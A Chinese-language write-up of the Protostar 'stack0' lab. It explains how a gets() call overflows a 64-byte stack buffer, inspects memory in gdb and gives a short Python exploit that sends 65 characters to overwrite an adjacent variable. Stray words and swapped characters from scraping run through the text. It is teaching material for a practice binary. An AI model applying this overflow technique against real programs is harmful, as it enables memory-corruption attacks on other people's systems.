咱们知道,当程序执行进入一个新的函数时,系统会为函数在栈上分配一块空间,用来存储函数中使用的参数和局部变量信息,用寄存器ESP和EBP指示空间范围,当从函数返回时,这块空间也会被抛弃,实际上就是修改ESP和EBP寄存器中的值。这个练习说明了变量在栈的分配状况,以及怎样突破ESP和EBP对空间的限制,修改分配空间外的数据,使得函数的执行逻辑发生变化。html
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 5 int main(int argc, char **argv) 6 { 7 volatile int modified; 8 char buffer[64]; 9 10 modified = 0; 11 gets(buffer); 12 13 if(modified != 0) { 14 printf("you have changed the 'modified' variable\n"); 15 } else { 16 printf("Try again?\n"); 17 } 18 }
这个练习只是一个练手,因此很简单。
程序中包含两个变量,一个modified,被声明为volatile,这个标识符表示每次使用modified变量都从内存中读取值,而不是使用cache中保存的值;还有一个变量buffer,占用64个字节的空间。程序使用gets函数读取用户输入,并保存到buffer中,以后根据modified变量的值决定if语句的执行逻辑。
按照正常状况,因为modified使用等于0,所以程序应该使用输出"Try again?",可是因为在获取用户输入时没有判断用户输入数据的大小,所以用户可能会输入大于64个字节的内容,形成栈溢出。那么咱们怎么经过这个栈溢出漏洞修改modified的值,从而修改if语句的执行逻辑呢?python
Stack0在/opt/protostar/bin/文件夹中,直接执行linux
gdb stack0
进入gdb调试,根据源码,在第13行设置断点函数
b 13
执行r,使程序继续执行,并输入aaaa做为用户输入,程序在第13行暂停,咱们先来看一下EBP和ESP的值spa
(gdb) print $ebp $1 = (void *) 0xbffffcb8 (gdb) print $esp $2 = (void *) 0xbffffc50
咱们能够输出这部份内存的内容调试
1 (gdb) x/26xw 0xbffffc50 2 0xbffffc50: 0xbffffc6c 0x00000001 0xb7fff8f8 0xb7f0186e 3 0xbffffc60: 0xb7fd7ff4 0xb7ec6165 0xbffffc78 0x61616161 4 0xbffffc70: 0xb7fd7f00 0x08049620 0xbffffc88 0x080482e8 5 0xbffffc80: 0xb7ff1040 0x08049620 0xbffffcb8 0x08048469 6 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffffcb8 7 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000 8 0xbffffcb0: 0x08048450 0x00000000
能够看到第二行最后的0x61616161,这就是咱们输入的aaaa,也是buffer的起始位置。再来看一下变量modified在哪里code
(gdb) info address modified Symbol "modified" is a local variable at frame offset 92.
我已经把偏移值为92的位置加红了,咱们能够看到buffer的起始位置和modified相差64个字节。在此次执行时咱们只输入了"aaaa",若是咱们继续输入超过64个字节的内容,就会覆盖modified变量的值,可是要注意不要超过变量modified的位置,不然会覆盖其余关键信息(例如返回地址),使程序崩溃。htm
那么exploit都须要作些什么呢?其实很简单,就是执行stack0这个程序,并在程序须要用户输入时,自动输入payload,咱们的payload能够是65个a字符。
由于要在程序执行过程当中处理用户输入的问题,因此使用subprocess模块。
exploit代码:blog
1 import subprocess 2 proc = subprocess.Popen("/opt/protostar/bin/stack0", stdin=subprocess.PIPE) 3 payload = 'a' * 65 4 proc.communicate(payload)
执行将上述代码保存为python文件并运行,就会发现程序输出已经变成了"you have changed the 'modified' variable"内存